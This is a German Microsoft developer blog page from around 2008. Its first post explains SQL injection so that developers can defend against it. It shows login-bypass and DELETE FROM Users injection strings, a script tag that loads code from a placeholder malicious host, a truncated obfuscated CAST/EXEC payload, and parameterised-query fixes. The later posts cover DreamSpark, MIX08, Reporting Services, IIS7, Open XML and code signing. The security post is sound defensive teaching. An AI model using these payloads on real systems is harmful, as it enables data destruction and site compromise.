blog.atwork.at

news and infos about microsoft, technology, cloud and more

Totgesagte leben länger - so auch SQL-Injection

Die guten alten Zeiten - da war alles noch einfacher. Oder doch nicht? Ich habe mal an einem größeren Shop-System programmiert - das war im Jahr 2000 - und dabei gelernt, dass man einige Dinge beachten muss: Funktionalität, Usability und ... Security. Ein SQL-Server-System ist ja eine feine Sache, aber es könnte dazu benutzt werden, um "bösen" SQL-Code abzusetzen - wenn man nicht ein paar grundlegende Dinge berücksichtigt. Die Bezeichnung "SQL-Injection" bedeutet, dass Eingaben (meist durch Webformulare oder präparierte URLs) um syntaktisch korrekte SQL-Befehle erweitert werden, sodass von Außen bösartiger Code eingeschleust werden kann, der Daten ändert oder löscht. Warum ist SQL Injection jetzt (noch) ein Thema? Es gab in den letzten Wochen und Monaten einige Mitteilungen, dass Systeme mit IIS und SQL Server durch SQL Injection verwundbar seien. Diese sind schlichtweg - falsch! Es handelt sich bei diesen Attacken nicht um Schwachstellen von Windows oder IIS oder SQL Server, sondern um Fehler von Software-Lieferanten oder Entwicklern. Damit Applikationen durch SQL Injection verwundbar sind, müssen die folgenden Voraussetzungen zutreffen: Websites und Applikationen, welche Classic ASP (oder auch PHP, od. ASPX) verwenden, die SQL Server (oder ähnliche SQL-Datenbanksysteme wie Oracle, MySQL, etc.) verwenden und SQL-Befehle ungefiltert zusammensetzen und ausführen (siehe Beispiel unten). Die Verantwortung für die Softwarelösungen liegt beim Entwickler selbst!Und hier herrscht leider immer noch viel zu wenig Focus von Software-Entwicklern im Bereich Security, denn sonst wären solche Attacken gegen Webseitensysteme nicht mehr erfolgreich! Wie funktioniert SQL-Injection? Auch darüber ist schon viel berichtet worden, hier ein einfaches Beispiel zur Funktionsweise. Angenommen, es gibt auf einer Webseite eine Login-Seite: Diese verwendet die Texteingaben ungefiltert und baut daraus einen SQL-String zusammen, welcher gegen die Datenbank abgesetzt wird: SELECT * FROM Users WHERE Username = 'max' and Password = 'geheim' Das schaut soweit ja fürs Erste funktionell aus - und als Ergebnis werden alle Datensätze mit diesem Filter geliefert - im Idealfall ein Datensatz mit dem User Max, wo sein Kennwort geheim ist. Max wird dann angemeldet und ... zurück zum Start! Ein findiger, böser Mensch kann nun folgendes versuchen: in der Annahme, dass die User-Abfrage so (oder ähnlich) funktioniert, kann er nun in die Textfelder folgendes schreiben: ' or '1'='1 und dasselbe beim Passwort. Was kommt beim Zusammensetzen des SQL-Befehls in der Login-Seite raus? SELECT * FROM Users WHERE Username = '' or '1'='1' and Password = '' or '1'='1' Die Texteingaben werden in das SQL eingesetzt und liefern somit immer WAHR. Und was liefert diese Abfrage? ALLE Benutzer aus der Users-Tabelle. Das bedeutet zum Beispiel, dass (bei einer Login-Seite) der anonyme Benutzer gleich als erster User in der Tabelle angemeldet wird. Blöd. Noch blöder: Wenn der Angreifer sich nicht damit begnügt, sondern dahinter noch ein böses SQL absetzt: 1'='1';DELETE FROM Users; Ganz schlecht. Damit wird beim Ausführen der Abfrage die ganze Users-Tabelle gelöscht. Dumm gelaufen - für den Betreiber der Website. Optimierung von SQL Injection Eine weitere Variante - diese ist ganz aktuell aus einem Logfile einer Website entnommen, die mit SQL Injection bearbeitet wurde: Statt od. zusätzlich zur Bedingung wird ein Script eingesetzt, welches aufgerufen wird, wenn die Tabelle ausgelesen und in einer Website angezeigt wird: <script src="http://www.---boeseseite---.com/b.js"></script> Und hier drinnen gehts dann mit Javascript weiter... die aufrufende Seite wird zur Umleitung oder (im besten Fall) unbrauchbar. Suchen Sie mal im Web nach "banner82.com" oder "adw95.com" - dann finden Sie ziemlich viele (auch prominente) Websites, die durch die aktuellen SQL-Injection-Angriffe "ge-hackt" wurden und diese Scripts intus haben oder hatten. Hier ein Beispiel, wie so eine infizierte Seite dann aussehen kann: Hier sind viele Attacken ausgeführt worden, sodass das Script mehrfach injiziert wurde und teilweise wieder unbrauchbar wird. Noch ein Hinweis zu banner82: Diese Attacke wird nicht ganz im Klartext injiziert, sondern kommt in etwa so daher: DECLARE @S%20VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641 ..... 6F7220 AS VARCHAR(4000)); EXEC(@S) Das SQL wird in einer Variable zusammengebastelt, lädt alle Tabellen und Spaltennamen in einer Schleife und versucht, das Script überall hineinzuschreiben und wird am Schluss mit EXECute ausgeführt. Eine weitere Steigerung: Mittlerweile ist es nicht mehr so, dass ein Hacker manuell versucht, in die Datenbank einer Website zu einzudringen, sondern die Angriffe werden automatisiert. Dazu bietet sich zum Beispiel an, ein API von Google od. einer anderen Suchmaschine zu benutzen: Suche alle Sites, wo Parameter (z.B. http://www.--eineseite--/article?id=xyz) übergeben werden.Versuche, an den Parameter ein ' anzufügen.Analysiere die Response der Seite, ob der gesendete Parameter korrektes Encoding besitzt. Wenn nein, dann ist die Website "offen" und ein Kandidat für SQL-Injection-Scripts! Schutz vor SQL Injection Die Lösung: Es gibt für alle Entwickler eine einfache Regel: All input is evil! Jede Eingabe muss vom Programm gefiltert oder kontrolliert werden. Das bedeutet: Keine SQL-Befehle mehr aus Eingabefeldern zusammensetzen. Auch schon in ADO (Classic ASP) gab es Parameter-Übergabe, natürlich auch in ASP.NET. Diese verhindert, dass Texteingaben ungültige Zeichen enthalten und somit bösartige SQL-Befehle ausführen können! Aus der Demo-Abfrage von oben wird: select TOP (1) UserID from Users where username = @username and password = @password und @username und @password werden als Parameter übergeben. In ASP.NET 2.0 (VB.NET) sieht das dann beispielsweise so aus: Dim conn As SqlConnectionDim cmd As New SqlCommandconn = New SqlConnection(ConnectionStrings("conn").ConnectionString)conn.Open()cmd = New SqlCommand(SQL, conn)cmd.CommandType = CommandType.Text ' od besser: .StoredProcedurecmd.Parameters.AddWithValue("@username", Me.txtUsername.Text)cmd.Parameters.AddWithValue("@password", Me.txtPassword.Text)UserID = cmd.ExecuteScalar()conn.Close() und schon hat SQL-Injection dank der Parameter-Übergabe keine Chance mehr. Das Ganze noch in einen Try..Catch Block, mit etwas Fehlerabsicherung versehen und man hat sauberen, sicheren Code (Hardcore-Entwickler mögen mir verzeihen - ich weiß, der Code kann effizienter formuliert werden aber das Beispiel dient nur zur Demonstration). Ziel dieses Artikels ist, das Bewußtsein zu diesem (eigentlich sehr alten) Thema zu fördern, die Funktionsweise zu demonstrieren und Entwickler anzuhalten, ihre Software sicher zu programmieren, damit keine mißbräuchliche Verwendung von öffentlich zugänglichen Webseiten möglich ist. Es gibt dazu eine Fülle von Anleitungen und Hilfen. Viel mehr zu diesem Thema und weitere Hilfestellung, wie man sich davor schützen kann, finden Sie in den folgenden Links: http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx - Microsoft´s call to action und weitere Infos: http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx - Scott Guthrie´s blog http://msdn.microsoft.com/en-us/library/ms998271.aspx - msdn: How To: Protect From SQL Injection in ASP.NET http://msdn.microsoft.com/en-us/library/bb671351.aspx - msdn: Explained – SQL Injection http://technet.microsoft.com/de-de/library/ms161953.aspx - technet: SQL Injection http://msdn.microsoft.com/en-us/library/aa224806.aspx  - Injection Protection Achja, es gibt natürlich auch zum Thema Programmieren im Internet einige weitere interessante Security-Themen: SQL Cross Site Scripting, Canonicalization Attacks (wußten Sie, wie viele Arten es gibt, eine URL anzugeben, zum Beispiel auch dezimal), Query String, Form, Cookie, HTTP Header-Manipulations und vieles mehr. Internet-Technologie ist toll, aber bietet eine Reihe von Angriffsmöglichkeiten. Bei Tauchern heißt der Abschiedsgruß "Gut Luft". Bei Entwicklern sollte es heißen "Secure coding"! ;-) Beitrag von Toni Pohl

DreamSpark - Professionelle Software f&uuml;r Studenten

channel8 hat was Cooles zu vermelden: Mit dem Microsoft DreamSpark-Programm können Studenten professionelle Developer und Designer Tools gratis verwenden! Studenten erhalten somit die Möglichkeit, sich fortzubilden, einzuarbeiten und jene Software-Produkte kennen zu lernen, die sie vielleicht in ihrem späteren Berufsleben verwenden werden.   DreamSpark beinhaltet Produkte der Microsoft Visual Studio Edition, Expression Studio, SQL Server und Windows Server. Es handelt sich dabei nicht um Beta- oder Testversionen, sondern um die vollen Produkte unter der DreamSpark-Lizenz. Ein kleiner Wehrmutstropfen: Derzeit ist das Programm noch nicht in Österreich erhältlich, sondern erst in den folgenden elf Staaten: USA, Großbritannien, Kanada, China, Deutschland, Frankreich, Finnland, Spanien, Schweden, Schweiz und Belgien. Die gute Nachricht: DreamSpark wird erweitert und das Programm wird 2009 weltweit verfügbar sein! Wie funktioniert DreamSpark?Man muss Schüler oder Student sein und benötigt eine Windows Live ID. Nach Auswahl der Ausbildungsstätte wird eine Validierung der Daten durch die (Hoch)Schule bzw. durch die Studenten-ID und dem Provider der Schule/Organisation durchgeführt. Der Studenten-Status muss nach jeweils einem Jahr innerhalb des DreamSpark-Programms online erneuert werden. Nach Validierung können die Software-Produkte downgeloadet und installiert werden. Jeder Student erhält einen Single-Use-Single-Activation product-key zur einmaligen Installation. Hier die in DreamSparks verfügbaren Produkte: Visual Studio 2008 Professional Edition Visual Studio 2005 Professional Edition Expression Studio (includes Web, Blend, Media and Design) SQL Server 2005 Developer Edition Windows Server 2003 R2 Standard Edition, with SP2 Noch ein Hinweis für alle Nicht-Studenten: Die folgenden Microsoft-Produkte sind frei einsetzbar: SQL Server 2005 Express Edition Visual Studio 2005 Express Edition XNA Game Studio 2.0 (with 12-month Creators Club trial membership) Virtual PC Hier geht´s zur DreamSpark-Website und den FAQs. Beitrag von Toni Pohl

Ganz frisch: useful stuff of MIX08

In Las Vegas fand Anfang März die große Microsoft-Konferenz MIX08 rund um die Themen Webdesign, Webentwicklung und Online Business statt. Das Motto lautete "The Next Web Now". Und weil bei dieser Veranstaltung so viele News, Informationen und Produkte zum Thema "Web" enthalten sind, hier eine kleine Zusammenfassung! Im MIX-Web sind 88 Sessions zum Abrufen bereit, hier geht´s direkt zu den Webcasts (natürlich mit Silverlight Technologie). Diesmal gab es auch für die Teilnehmer eine Fülle an Mitbringsel - aktuelle Software zum Anschauen und Testen. Diese finden Sie auch hier zum Download, unter anderem die Expression-Produkte, IE8-Beta, Silverlight Beta, ASP.NET Silverlight server controls und vieles mehr. Sehr hilfreich finde ich vor allem - als Webentwickler - diese Maschinen: Internet Explorer Application Compatibility VPC Image mit fertigen VPCs mit IE6, IE7 und IE8Beta. Zum Testen ideal! Ein gänzlich neues Thema wurde mit den SQL Server Data Service (SSDS) vorgestellt: SSDS ist eine hochskalierbare, robuste on-demand Datenspeicher-Lösung, die per Webservice konsumiert wird. Ziel sind (Web-)Applikationen, die hochverfügbar sind und kosten-effizient gehostet werden. Mehr dazu finden Sie in Kürze hier im Blog. Viel Spaß beim Durchforsten des MIX-Angebotes! Beitrag von Toni Pohl

Aus Alt mach Neu in SQL Server Reporting Services

Auch wenn mittlerweile SQL Server 2008 in den Startlöchern steht - die Realität sieht zumeist (viel) älter aus. So hatte ich vor kurzem einen Datenbankumstieg, wo von einem alten Datenbankserver auf einen neuen zu migrieren war. Die Datenbank selbst war zwar SQL Server 2005, das war jedoch ein Upgrade von einem SQL Server 2000. Eigentlich kein Problem, doch passten die (beim 2000er SQL Server noch zusätzlich zu installierenden) Reporting Services nicht zur DB-Version 2005 und waren noch RS 2000 SP2. Die Reporting Services (RS) sind übrigens Bestandteil des SQL Servers und bieten Report-Erstellung, Management und eine skalierbare Bereitstellung. Eine Weboberfläche am Reporting Server dient zur Administration, die Bereitstellung kann per URL oder auch per Webservice erfolgen. Nachdem es bei unserer Umstellung ein paar Stolpersteine gab, hier ein paar Tipps für den Umstieg SQL Server 2000 Reporting Services auf 2005. Die RDL-Syntax: Die Übernahme der Reports in die neuen SQL 2005 RS war problemlos, außer dass ich die Erfahrung gemacht habe, dass RS 2005 Syntax-Fehler nicht verzeiht. So kam bei einem Report ein Fehler in einer "Hidden"-Eigenschaft (das wars auch schon mit dem Hinweis, wo der Fehler zu suchen war). Nach Ansicht der Report-Codeansicht mit Taste F7 und manuellen Durchsehen aller Hidden-Ausdrücke war der Schuldige identifiziert: =iif(trim(Fields!SEM_Text1.Value) <> "", Fields!SEM_Text1.Value, "") Nun Hidden erwartet True oder False - in meinem Fall stand hier aber fälschlicherweise ein Stringausdruck. Klar, so kann das nicht funktionieren. Also Zeile(n) ausbessern und ausprobieren: =iif(trim(Fields!SEM_Text1.Value) <> "", False, True) Jetzt funktioniert der Report auch in 2005. Fein! Noch ein Hinweis zum RDL-Format: Mit 2005 wurde das RDL-Format erweitert und ist nicht mehr abwärtskompatibel. Report-Dateien (.rdl) für RS 2005 können aber nach wie vor mit Visual Studio 2003 erstellt und verändert werden. Reports aus VS 2005 werden jedoch im Format RS 2005 gespeichert. Diese Reports können dann nicht mehr mit VS 2003 bearbeitet werden. RS versteht aber beide Formate. Nach Lösen dieses Problems kam dann eine weitere Hürde. Automatisiertes Erstellen von Reports per Script: In unserem Szenario haben wir einfache Scripts mit dem RS.exe Tool verwendet, um Reports zu bestimmten Zeiten automatisch als PDF-File zu erstellen. Eigentlich eine sehr praktische Sache. Dummerweise klappten die Scripts mit RS 2005 nicht mehr... Der Aufruf von rs.exe per Scheduled Tasks erfolgt so: C:\>rs -i D:\Tasks\testrs.rss -s http://db1/ReportServer$atwork test.rss ist ein VB Script, welches vom .NET VB-Compiler verarbeitet wird: ' File: testrs.rss by atworkDim format as string = "PDF"Dim fileName as String = "D:\Tasks\myreport.pdf"Dim reportPath as String = "/mydir/myreport"Public Sub Main()    ' Prepare Render arguments    Dim historyID as string = Nothing    Dim deviceInfo as string = Nothing    Dim showHide as string = Nothing    Dim results() as Byte    Dim encoding as string    Dim mimeType as string = "pdf"    Dim warnings() AS Warning = Nothing    Dim reportHistoryParameters() As ParameterValue = Nothing    Dim streamIDs() as string = Nothing    rs.Credentials = System.Net.CredentialCache.DefaultCredentials    ' Report with Parameters     Dim parameters(0) As ParameterValue    parameters(0) = New ParameterValue()    parameters(0).Name = "id"    parameters(0).Value = "1234"    results = rs.Render(reportPath, format, Nothing, Nothing, parameters, Nothing, Nothing, encoding, mimeType, reportHistoryParameters, warnings, streamIDs)    ' Open a file stream and write out the report     Dim stream As FileStream = File.OpenWrite(fileName)    stream.Write(results, 0, results.Length)    stream.Close()End Sub Der RS-Aufruf erzeugte den Fehler: Microsoft (R) Visual Basic Compiler version 8.0.50727.832 for Microsoft (R) .NET Framework version 2.0.50727.832 Copyright (c) Microsoft Corporation.  All rights reserved.C:\Documents and Settings\atwork\Local Settings\Temp\1\zv3y0cit.1.vb(60) : errorBC30456: 'Render' is not a member of 'Microsoft.SqlServer.ReportingServices2005.ReportingService2005'.    results = rs.Render(reportPath, format, Nothing, Nothing, parameters, Nothing, Nothing, encoding, mimeType, reportHistoryParameters, warnings, streamIDs)              ~~~~~~~~~ Ok, also die Render-Methode funktioniert angeblich nicht mehr. Also nach der Ursache forschen. Hier hatte ich netterweise Hilfe von Markus Oswald, unserem Microsoft PTC (Partner Technical Consultant), der mir auch den entscheidenden schnellen Workaround lieferte: RS 2005 läuft gegen den neuen 2005er SOAP Endpoint. Zum Glück wird der "alte" RS 2000 Endpoint des Webservices noch weiter unterstützt. Dazu ist nur bei Aufruf des RS-Tools der Schalter "-e mgmt2000" anzuhängen, um den alten Endpoint aufzurufen. Simple as that! C:\>rs -i D:\Tasks\testrs.rss -s http://db1/ReportServer$atwork -e mgmt2000 So klappt der Aufruf des neuen RS-Tools (und der Kunde freut sich darüber, dass es eine schnelle, einfache Lösung gibt und die automatisierten Dokumente wieder verfügbar sind)! Auch wenn das nur einer (von vielen) Lösungswegen ist (kurz dachte ich darüber nach, ein eigenes kleines .net Tool für die Konsumation des RS-Services zu schreiben...), zählte im aktuellen Fall die rasche Lösung und die gewohnte Funktionalität. Es führen viele Wege zu Reporting Services 2005! Beitrag von Toni Pohl

Windows Server 2008 Developer Training Kit (Beta 3)

Das Windows Server 2008 Developer Training Kit enthält eine Reihe von Hands-on-Labs und Präsentationen der Neuigkeiten im Windows Server 2008 (IIS7, Management, WCF, WF, Windows Cardspace, Windows PowerShell, Virtualisierung und das Transaction File System). Dieses Kit soll Entwicklern zeigen wie man Applikationen baut, die auf Windows Server 2008 Technologie aufbauen. Das Kit beinhaltet sieben Hands-on-labs, die auf der DinnerNow Beispielapplikation aufbauen. Beitrag von Martina Grom

Entwickler / Welt

Das deutsche msdn-Portal wurde aufgeräumt: Nach dem Motto "Schneller finden, was Sie brauchen" präsentiert sich die deutschsprachige msdn-community mit einer übersichtlichen Such- und Startseite "Entwickler / Welt". Hier finden Sie aktuelle, interessante Artikel, Services und Hotline bis hin zur msdn Bibliothek - alles in Deutsch und recht übersichtlich gruppiert. Viel Spaß beim Entdecken der Entwickler / Welt! Beitrag von Toni Pohl

Entwicklungshilfe f&uuml;r DACH

Endlich gibt es auch für die kostenlose SQL Server 2005 Express Edition eine deutsche Dokumentation (DACH steht übrigens für Deutschland, Österreich und die Schweiz), und zwar in der TechNet Library: Onlinedokumentation für Microsoft SQL Server 2005 Express Edition Wer glaubt, es handelt sich dabei um eine simple übersetzte Site, der irrt. Die Doku ist gut gemacht und befasst sich mit relevanten Themen wie dem Verteilen von SQL Server Express und Replikation. Wenns dann doch tiefer gehen soll, dann ist allerdings wieder der Klick in die englische msdn, ins SQL-Server msdn-Forum und ins SQL Server Express msdn-Forum hilfreich. Beitrag von Toni Pohl

Wieviele Zeilen Code hat eigentlich...

...ein aktuelles Produkt von Microsoft? (Es handelt sich hier um managed code, also eine .NET Sprache.) Visual Studio 2005: 7.5 million lines SQL Server 2005: 3 million lines BizTalk Server: 2 million lines Visual Studio Team System: 1.7 million lines Windows Presentation Foundation: 900K lines Windows Sharepoint Services: 750K lines Expression Interactive Designer: 250K lines Sharepoint Portal Server: 200K lines Content Management Server: 100K lines Exchange 12 is 80% managed code. Quelle: Aaron Saikovski's SharePoint Blog

Visual Studio 2008 ist fertig

Seit gestern ist die RTM-Version (released to manufacturing) von Microsoft Visual Studio 2008 (Codename Orcas) fertig! Die Visual Studio Pakete entsprechen jenen von VS2005, also von der kostenlosen Express-Edition bis hin zur Visual Studio Team System 2008 Team Suite Es wurden mehr als 250 Features hinzugefügt, mit VS2008 kommt das Microsoft .net Framework 3.5 mit. Neu ist u.a., dass mit Multitargeting VS2008-Projekte für die .net Framework-Versionen 2.0, 3.0 und 3.5 angelegt werden können (ohne VS2005). Im Blog von Daniel Moth gibts eine Liste der Top 10 Themen über VS2008 und .net Framework. 3.5 VS2008 ist bereits für MSDN-Abonnenten auf der Liste der Top-Downloads verfügbar, hier gehts mit Klick aufs Logo zur Ankündigung und zu weiteren Links: Wichtiger Hinweis zum Download: Der Download ist nur auf der MSDN Subscriptions Home Page verfügbar (das Visual Studio 2008 Readme im Produkte-Baum weist auch darauf hin). Falls noch nicht aktualisiert, benötigen Sie den aktuellen msdn-Download-Manager und müssen Popup-Blocker deaktiviert haben. Mit dem offiziellen Launch am 27. Februar 2008 wird dann die Packerl-Version verfügbar sein, MSDN-Abonnenten sind hier klar im Vorteil. ;-) Beitrag von Toni Pohl

Der neue Windows Webserver - IIS7 News

Microsoft´s Webserver Internet Information Server geht in eine neue Runde: mittlerweile ist die Version 7 als "major upgrade of IIS" in Windows Vista und in Windows Server 2008 verfügbar: IIS7 Das Ziel des IIS-Teams war einfach: den besten Webserver zu schaffen, den Microsoft je hervorgebracht hat. Webserver sind heutzutage ja mehr als einfache Maschinen, die Webseiten liefern und Logfiles schreiben, sondern Applikations-Server mit Security, Services, Lifecycle-Mechanismen, Automatismen, Balancing und weiteren Fähigkeiten. Eine Liste der neuen Funktionen des IIS ist auch unter Overview of Available Features in IIS 7.0 zu finden:IIS7 ist inklusive der Version Windows Vista Home Premium Edition aufwärts Bestandteil des Betriebssystems und natürlich in allen Windows Server 2008-Versionen integriert. FTP ist beispielsweise ab Windows Vista Ultimate, Business und Enterprise Editions verfügbar. Hier nun einige Highlights in einer kurzen Zusammenfassung: Alle Anfragen an den Server (requests) verstehen nun HttpModules und HttpHandlers . Damit werden Themen wie authentication, authorization, logging, url-rewriting, auditing usw. und .NET sehr einfach verwendbar. Die ASP.NET configuration ist nun in IIS integriert. IIS verwendet nun dasselbe web.config Modell wie ASP.NET Applikationen. Damit können default pages, IIS security, logging einfach in der web.config eingestellt und diese dann per FTP auf den Webserver kopiert werden! Sehr praktisch, um eine ganze Webapplikation weiterzugeben oder für Hosting-Szenarien... Es gibt ein integriertes Admin UI-Werkzeug, mit welchem Membership, Roles und Provider administriert werden können. Es gibt eine klare Trennung zwischen den einzelnen Kategorien und Einstellungen. Besseres Error-Handling durch "Failed Request Event Buffering". Damit können dem Benutzer genauere Informationen mitgeteilt werden. Zusätzlich gibts noch Anweisungen, wie der Fehler möglicherweise behoben werden kann:   Neue API und command-line-tools: Webs anlegen, ändern, Stati anzeigen usw. Damit ist es beispielsweise rasch möglich, alle aktiven worker-Processes anzuzeigen und wie lange sie bereits laufen. Mit Scripts sind diese "alltäglichen Arbeiten" dann leicht abrufbar und automatisierbar. Mehr Infos zu IIS7 gibt u.a. in Scott Guthrie´s blog und im IIS DownloadCENTER. Hier gibt´s Tools, Beispiele und Scripts für IIS6 und IIS7. Ein eigenes Video The .NET SHOW: Robert Hess interviews Bill Staples and Scott Guthrie about IIS7 zeigt eine Diskussion und einige der neuen Features des IIS7. Eine neue IIS-Ära beginnt! Beitrag von Toni Pohl

Office Open XML Format + Gratis-Buch Open XML Explained e-book

Die neue Microsoft-Office 2007 Familie verwendet Open XML File-Formate für Word, Excel und PowerPoint - benannt als Office Open XML Format. Diese sind ab 2007 als Standard-Format voreingestellt (können aber jeweils in den Optionen geändert werden) und heißen nun .docx, .xlsx, .pptx. Wenn in den Dokumenten Makros vorhanden sind, wird das finale "x" durch ein "m" ersetzt, also beispielsweise .docm, .xlsm, pptm. Die Vorlagen heißen nun ebenfalls .dotx, etc. Die Vorteile des neuen Dateiformats sind weniger Platzverbrauch (durch ZIP-Technologie), Interoperabilität und einfache Bearbeitungsmöglichkeiten. Jeder, der mal versucht hat eine binäre Word-Datei .doc ohne Word zu bearbeiten oder sich mit Word Automation befasst hat, weiß, dass dies nun eine wesentliche Vereinfachung im Umgang mit Informationen darstellt, XML sei Dank. Die neuen Dateiformate sind strikt getrennte XML-Dateien, die in einem ZIP gepackt sind. Das Microsoft-NET-Framework 3.0 bietet Bibliotheken und Funktionen zum Bearbeiten dieser Dateien. Es gibt bereits eine Reihe von Informationen zum neuen Office Open XML Format: Office Open XML Formats Resource Center - Microsofts XML Office Developer Portal OpenXML Developer Web - Web mit Spezialisierung auf Open XML ...und dort ein neues Buch des niederländischen XML-Experten Wouter Van Vugt, das kostenlos heruntergeladen werden kann: Open XML Explained e-book Mit dem neuen Dateiformat sind ganz tolle Funktionen umsetzbar. Zum Beispiel automatisches Generieren von Rechnungen als Word-Dokument aus einer Applikation heraus, XML-Bausteine oder Grafiken in bestehende Dokumente einfügen oder löschen und vieles mehr. Eine schier riesige Menge an Möglichkeiten im Umgang mit Office-Dokumenten! Beitrag von Toni Pohl

Code selbst signieren - Teil 2 (Das Zertifikat)

In Teil Eins wurde ein Sidebar Gadget als Vorbereitung für das Signieren vom simplen ZIP-Format in eine CAB-Datei gepackt. Teil Zwei beschreibt nun, wie Sie (beliebigen) Programmcode selbst mit einem Zertifikat versehen können. Nun, haben Sie ein eigenes digitales Zertifikat? Wenn ja: fein. Wenn nein: auch gut. Dann erstellen wir uns einfach ein eigenes Zertifikat! Variante 1: Selbsterstelltes Zertifikat erzeugen und verwenden   Wir benötigen das Tool makercert. Das Tools ist Bestandteil von Microsoft Visual Studio 2005 Platform SDK und im Verzeichnis C:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin zu finden. Makecert erstellt ein X.509-Zertifikat mit öffentlichem und privatem Schlüssel - allerdings nur zu Testzwecken. Innerhalb Ihrer Firma wäre das aber wahrscheinlich schon ausreichend. Wenn Sie kein Visual Studio 2005 installiert haben, können Sie alternativ das Microsoft® .NET Framework Software Development Kit (SDK) version 1.1 herunterladen und das Tool von hier verwenden (Hinweis: im Internet Explorer Administration Kit Download sind diese Tools _nicht_ mehr vorhanden). cd C:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin makecert -sv "C:\Projekte\VistaGadgets\Deploy\pwdgen.pvk" -n "CN=www.atwork.at" C:\Projekte\VistaGadgets\Deploy\pwdgen.cer Passen Sie Pfad und Dateiname sowie den common name an. Damit werden der öffentliche Schlüssel .cer und der private Schlüssel .pvk erzeugt. Diese werden später benötigt. Variante 2: Eigenes öffentliches Zertifikat verwenden Wenn Sie - so wie ich - ein digitales Zertfikat besitzen,  bereiten Sie Ihre Hardware vor (in meinem Fall ein persönliches Zertifikat von a-trust: USB-Kartenleser anschließen, Chipkarte einlegen, a.sign-Client _nicht_ öffnen weil sonst das Kartensystem in Verbindung mit dem folgenden, gleichzeitigen Zugriff verwirrt ist... etc). Weiter mit dem Signieren... Benötigt wird signtool.exe (welches ab 2003 die Vorgängerversion signcode.exe ersetzt), ebenfalls aus dem Microsoft Visual Studio 2005 Platform SDK. cd C:\Program Files\Microsoft Visual Studio 8\SDK\v2.0\Bin signtool signwizard Nach Willkommen-Dialog und Auswahl des zu signierenden Programmfiles (in unserem Beispiel: C:\Projekte\VistaGadgets\Deploy\pwdgen.gadget = die erstellte CAB-Datei). Wählen Sie Benutzerdefiniert. Wählen Sie bei eigenem Zertifikat "Aus Speicher wählen" - soferne Sie ihr Zertifikat bereits einmal zum Zertifikatspeicher hinzugefügt haben - was empfehlenswert ist :-) Wenn Sie zuvor mit makecert ein eigenes (Test-)Zertifikat erstellt haben, verwenden Sie "Aus Datei wählen" und geben in den folgenden Schritten die Dateien .cer und .pvk an! Wählen Sie dann "Priv. Schlüssel auf Datenträger". Wählen Sie das Zertifikat. Nun weiter. Bestätigen Sie mit Weiter. Auswahl der Verschlüsselung - wahlweise. Und weiter. Eingabe der eigenen Informationen.   Wenn gewünscht, einen Timestamp zum Zeitpunkt der Signierung hinzufügen, z.B.: http://timestamp.verisign.com/scripts/timstamp.dll Und Fertigstellen. Das war das SignTool. Wenn Sie das Zertifikat auf einen Kartenleser haben, folgt nun die Eingabe der PIN. Und wenn alles ok gegangen ist die Erfolgsmeldung. Das wars! Die signierte Datei pwdgen.gadget sollte nun um ein paar KB größer als zuvor sein. Kontrollieren Sie die Datei-Eigenschaften - hier findet sich nun eine neue Registerkarte "Digitale Signatur". Schaut soweit gut aus. Nun die Kontrolle: Starten der Anwendung - in unserem Fall mit Doppelklick auf pwdgen.gadget: Die zu installierende Software besitzt nun einen Herausgeber und einen Vertrauensgrad - in meinem Fall leider "nur" gelb, da a-trust anscheinend standardmäßig leider nicht von Root weg vertraut wird. Grün wirds, wenn der ganzen Vertrauenskette vertraut wird. Damit ist sichergestellt, dass die Anwendung vom angegebenen Hersteller stammt und unverändert ist. Anwender erhalten somit Sicherheit über die zu installierende Software - zum Beispiel, dass sie von der eigenen IT ausgerollt und geprüft wurde. Es gibt natürlich weitere Methoden, Software selbst zu signieren. Mit SignTool und dem eingebauten Wizard ist dies allerdings recht einfach und zweckmäßig. ...Nie wieder Software von unbekannten Herausgebern installieren! :-) Beitrag von Toni Pohl